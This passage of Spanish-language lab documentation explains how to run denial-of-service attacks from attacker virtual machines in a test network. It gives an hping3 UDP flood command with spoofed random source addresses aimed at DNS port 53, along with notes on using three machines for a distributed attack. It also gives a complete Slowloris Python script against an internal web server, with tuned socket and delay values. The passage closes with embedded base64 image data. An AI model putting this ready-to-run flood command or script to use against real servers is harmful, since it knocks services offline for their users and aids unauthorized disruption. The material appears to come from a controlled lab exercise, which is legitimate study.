siguiente comando: ``` apt install hping3 ``` En base a las fuentes consultadas se termino utilizando el siguiente comando para empezar un ataque desde una computadora `hping3 -2 --flood --rand-source [Server IP] -p 53` * `hping3`: Utilidad que permite enviar paquetes a un servidor con una alta capacidad de configuración en los paquetes enviados *`-2`: Indica que se utiliza el protocolo UDP *`--flood`: Indica que se enviaran tantos paquetes como sea posible *`--rand-source`: Indica que se cambiara el IP de origen a uno aleatorio. Debido a que los paquetes enviados se espera que regresen una respuesta, cambiar el IP de origen evita que las respuestas lleguen al atacante, evitando un posible flooding a uno mismo. *`-p 53`: Puerto al que se van a enviar los paquetes. Debido a que se hará un ataque a un servicio DNS, se utiliza el puerto 53. Una vez ejecutado el comando anterior desde la terminal de Debian Core, se puede observar que el comando se muestra como aparece en la siguiente imagen, mientras este comando se este ejecutando se continuara enviando paquetes a la IP especificada. [img[DNS_flood.PNG]] En cada VLAN existen tres maquinas virtuales cuyos nombres tienen el patrón PRDebianAttacker, cada una contiene `hping3` ya instalado. Realizando el ataque desde estas tres maquinas es posible realizar un DoS distribuido. Una muestra de como se deniega el servicio se muestra en la siguiente imagen. [img[DNS_flood_results.PNG]]
!! Slow loris attack - Python Script Un ataque Slow loris es un ataque tipo Denial of Service, el cual consiste en saturar un servicio con peticiones con la finalidad de impedir que provea su servicio. Un ataque Slow Loris es un ataque de la familia DoS. Este consiste en realizar solicitudes a un servidor, pero ir completando las solicitudes tan lentamente como sea posible. La implementan utilizada fue realizada por medio de un Script de Python, en el cual se generan HTTP GET requests al servidor que sera la victima. En este script, se generan tantas conexiones como de las indicadas sea posibles, para ir enviando datos por medio de cada conexión con un pequeño intervalo de espera. Al tener tantas conexiones activas se espera saturar la capacidad máxima de conexiones del servidor y así denegar el servicio. El script y la teoría utilizada para realizar este ataque estan basados en [[ Slow loris Attack - Computerphile |https://www.youtube.com/watch?v=XiFkyR35v2Y]] donde el Script utilizado se puede encontrar a continuacion [[continuacion|Slow Loris - Python Script]]. Dentro de este script existen 3 variables globales que se podrian configurar: `IP`,`AMOUNT_OF_SOCKETS` y `WAITING_TIME`. La primera variable es la IP o nombre de dominio del servidor que se desea atacar. La variable `AMOUNT_OF_SOCKETS` determina la cantidad de conexiones máximas que el script intentara crear. La ultima variable determina el tiempo de espera en segundos antes de enviar mas información al servidor Para realizar este ataque se opto por utilizar maquinas virtuales con Debian Core, las cuales ya tienen incluido Python y el Script a ejecutar. Existen tres de estas maquinas en cada VLAN con nombre pRDebianAttacker. Se recomienda que el `AMOUNT_OF_SOCKETS` y `WAITING_TIME` tengan como valores 1021 y 5 respectivamente. Esto debido a que han presentado los mejores resultados en las pruebas. Para ejecutar este script basta con localizarse al directorio donde esta el script y ejecutar ``` python3 DoS.py ``` Al ejecutarse el script se mostrara información como se puede ver en la imagen anterior. [img[DoS_script.PNG]] Las primeras lineas que dicen conexión indican la cantidad de conexiones exitosas de la racionero inicial. Posteriormente se muestra información en bloques de 3 lineas. La primera linea indica la cantidad de conexiones activas en ese momento, la segunda linea indica la cantidad de conexiones por las que pudo iniciar datos y la ultima linea indica la cantidad de conexiones que se volvieron a crear. Un ataque DoS exitoso a un servicio web impide a los clientes del mismo cargar la pagina web. Como resultado se puede ver una pagina como se muestra a continuación. [img[DoS_results.PNG]]
```
import socket
import time
import random
IP = "10.21.1.60"
PORT = 80
AMOUNT_OF_SOCKETS = 1021
WAITING_TIME = 5
def create_socket():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((IP, PORT))
regular_headers = [
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0",
"Accept-language: en-US,en,q=0.5"
]
get_request = "GET /?%d HTTP/1.1\r\n" % (random.randint(0, 5000))
s.send(get_request.encode())
for header in regular_headers:
formatted_header = "%s\r\n" % (header)
s.send(formatted_header.encode())
return s
if __name__ == "__main__":
socket_list = []
for i in range(AMOUNT_OF_SOCKETS):
try:
socket_list.append(create_socket())
print("Connection: %s" % (i))
except socket.error:
break
print("Initial Ammount of Sockets: %d\n" % (len(socket_list)))
while True:
print("Send messages through sockets: %s" % (len(socket_list)))
for s in socket_list:
try:
payload = "X-a: %d\r\n" % (random.randint(1, 5000))
s.send(payload.encode())
except socket.error as e:
socket_list.remove(s)
print("Current of activa sockets: %s" % (len(socket_list)))
counter = 0
for _ in range(AMOUNT_OF_SOCKETS -len(socket_list)):
try:
s = create_socket()
if s:
socket_list.append(s)
counter += 1
except socket.error:
break
print("Reconnected sockets: %s\n" % (counter))
time.sleep(WAITING_TIME)
```
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